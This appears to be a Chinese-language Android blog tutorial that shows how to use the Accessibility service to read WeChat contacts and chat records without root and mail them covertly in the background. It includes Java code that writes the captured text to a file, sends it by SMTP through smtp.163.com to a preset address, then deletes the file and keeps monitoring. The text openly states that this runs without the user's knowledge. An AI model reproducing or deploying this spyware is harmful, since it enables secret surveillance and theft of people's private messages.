Android开发——免Root监听微信的聊天记录(后台秘密发邮件)

1. 首先先展示一下效果图:

2. Accessibility机制

Accessibility机制之前已经介绍过了,具体可以查看Accessibility机制实现模拟点击,需要简单的配置(如设置被监听的对象为微信)和实现。此文中介绍了如何通过Accessibility自动抢红包,在这个过程中,很明显,在调用如下代码时,

[java]
  1. AccessibilityNodeInfo nodeInfo = getRootInActiveWindow();

遍历节点,再循环打印其getText()信息,便可以拿到用户通讯录以及聊天记录等信息的。

获取到这些信息后,我们可以暂时写入文件,以备发送。

[java]
  1. private void write(String info){
  2.         try{
  3.             FileOutputStream fos = openFileOutput(FILE_NAME,MODE_APPEND);
  4.             PrintStream ps = new PrintStream(fos);
  5.             ps.println(info);
  6.             ps.close();
  7.         }
  8.         catch (Exception e) {
  9.             e.printStackTrace();
  10.         }
  11.     }

当然,前提是在被监听用户在我们开启监听后聊过(或者说看到)的记录,否则用户连微信都不打开,我们是无从获取聊天记录等信息的。

本文原创,转载请注明出处:http://blog.csdn.net/seu_calvin/article/details/51917182

2. 后台秘密发邮件

当然,我们监听到这些信息,需要实时地反馈给我们。这里我们采用邮件的形式,通过后台“偷偷地”发送这些信息。

发送后台邮件需要用到三个第三方的库,分别为activation.jar,additionnal.jar,mail.jar。发送邮件的时候需要用到很多信息,包括发送邮件的服务器的IP和端口、邮件发送者的地址、邮件接收者的地址、登陆邮件发送服务器的用户名和密码、邮件主题、邮件的文本内容等等。

这里需要注意的是,我们后台发邮件需要账号密码等敏感信息,这些邮件信息,除了邮件的文本内容信息,其他的信息我们都可以在程序里面编写好,这样便可以实现在用户未知的情况下,将用户的个人隐私信息作为邮件的文本内容,从应用程序目录下的文件内取出,完成后台发送。

还有一点需要注意的是,在完成后台秘密发送的同时,需要将存放敏感信息的的文件进行删除,以此来防止部分内容的重复发送。删除之后,重新开始监听用户信息,若信息有效,便重新创建文件写入信息,当达到设定好的发送条件时,再进行后台邮件发送,以此循环,来达到一直监听的目的。具体的发送时机,删除暂时保存数据的文件的时机等等,可以自定义实现。

核心代码展示如下:

[java]
  1. //发送邮件
  2. MailSenderInfo mailInfo = new MailSenderInfo();
  3. mailInfo.setMailServerHost(“smtp.163.com”);
  4. mailInfo.setMailServerPort(“25”);
  5. mailInfo.setValidate(true);
  6. mailInfo.setUserName(userid);  //你的邮箱地址
  7. mailInfo.setPassword(password);//您的邮箱密码
  8. mailInfo.setFromAddress(from);
  9. mailInfo.setToAddress(to);
  10. mailInfo.setSubject(subject);
  11. mailInfo.setContent(read());
  12. //这个类主要来发送邮件
  13. SimpleMailSender sms = new SimpleMailSender();
  14. //发送文体格式
  15. sms.sendTextMail(mailInfo);

 

其中SimpleMailSender类展示如下,MyAuthenticator类需要继承Authenticator类,主要是在getPasswordAuthentication()方法中返回封装好的类型为PasswordAuthentication的鉴权结果即可。

[java]
  1. public class SimpleMailSender
  2. {
  3.     /**
  4.      * 以文本格式发送邮件
  5.      * @param mailInfo 待发送的邮件的信息
  6.      */
  7.     public boolean sendTextMail(MailSenderInfo mailInfo){
  8.         // 判断是否需要身份认证
  9.         MyAuthenticator authenticator = null;
  10.         Properties pro = mailInfo.getProperties();
  11.         if (mailInfo.isValidate())
  12.         {
  13.             // 如果需要身份认证,则创建一个密码验证器
  14.             authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword());
  15.         }
  16.         // 根据邮件会话属性和密码验证器构造一个发送邮件的session
  17.         Session sendMailSession = Session.getDefaultInstance(pro,authenticator);
  18.         try
  19.         {
  20.             // 根据session创建一个邮件消息
  21.             Message mailMessage = new MimeMessage(sendMailSession);
  22.             // 创建邮件发送者地址
  23.             Address from = new InternetAddress(mailInfo.getFromAddress());
  24.             // 设置邮件消息的发送者
  25.             mailMessage.setFrom(from);
  26.             // 创建邮件的接收者地址,并设置到邮件消息中
  27.             Address to = new InternetAddress(mailInfo.getToAddress());
  28.             mailMessage.setRecipient(Message.RecipientType.TO,to);
  29.             // 设置邮件消息的主题
  30.             mailMessage.setSubject(mailInfo.getSubject());
  31.             // 设置邮件消息发送的时间
  32.             mailMessage.setSentDate(new Date());
  33.             // 设置邮件消息的主要内容
  34.             String mailContent = mailInfo.getContent();
  35.             mailMessage.setText(mailContent);
  36.             // 发送邮件
  37.             Transport.send(mailMessage);
  38.         }
  39.         catch (MessagingException ex){
  40.             ex.printStackTrace();
  41.         }
  42.         return false;
  43.     }
  44. }

MailSenderInfo类展示如下。

[java]
  1. public class MailSenderInfo {
  2.     // 发送邮件的服务器的IP和端口
  3.     private String mailServerHost = Constant.SERVICE_IP;
  4.     private String mailServerPort = Constant.SERVICE_PORT;//一般为25
  5.     // 邮件发送者的地址
  6.     private String fromAddress;
  7.     // 邮件接收者的地址
  8.     private String toAddress;
  9.     // 登陆邮件发送服务器的用户名和密码
  10.     private String userName;
  11.     private String password;
  12.     // 是否需要身份验证
  13.     private boolean validate = true;
  14.     // 邮件主题
  15.     private String subject;
  16.     // 邮件的文本内容
  17.     private String content;
  18.     /**
  19.      * 获得邮件会话属性
  20.      */
  21.     public Properties getProperties() {
  22.         Properties p = new Properties();
  23.         p.put(“mail.smtp.host”this.mailServerHost);
  24.         p.put(“mail.smtp.port”this.mailServerPort);
  25.         p.put(“mail.smtp.auth”“true”);
  26.         return p;
  27.     }
  28.     public String getMailServerHost() {
  29.         return mailServerHost;
  30.     }
  31.     public void setMailServerHost(String mailServerHost) {
  32.         this.mailServerHost = mailServerHost;
  33.     }
  34.     public String getMailServerPort() {
  35.         return mailServerPort;
  36.     }
  37.     public void setMailServerPort(String mailServerPort) {
  38.         this.mailServerPort = mailServerPort;
  39.     }
  40.     public boolean isValidate() {
  41.         return validate;
  42.     }
  43.     public void setValidate(boolean validate) {
  44.         this.validate = validate;
  45.     }
  46.     public String getFromAddress(){
  47.         return fromAddress;
  48.     }
  49.     public void setFromAddress(String fromAddress){
  50.         this.fromAddress = fromAddress;
  51.     }
  52.     public String getPassword(){
  53.         return password;
  54.     }
  55.     public void setPassword(String password){
  56.         this.password = password;
  57.     }
  58.     public String getToAddress(){
  59.         return toAddress;
  60.     }
  61.     public void setToAddress(String toAddress){
  62.         this.toAddress = toAddress;
  63.     }
  64.     public String getUserName(){
  65.         return userName;
  66.     }
  67.     public void setUserName(String userName){
  68.         this.userName = userName;
  69.     }
  70.     public String getSubject(){
  71.         return subject;
  72.     }
  73.     public void setSubject(String subject){
  74.         this.subject = subject;
  75.     }
  76.     public String getContent(){
  77.         return content;
  78.     }
  79.     public void setContent(String textContent){
  80.         this.content = textContent;
  81.     }
  82. }

发表评论

电子邮件地址不会被公开。 必填项已用*标注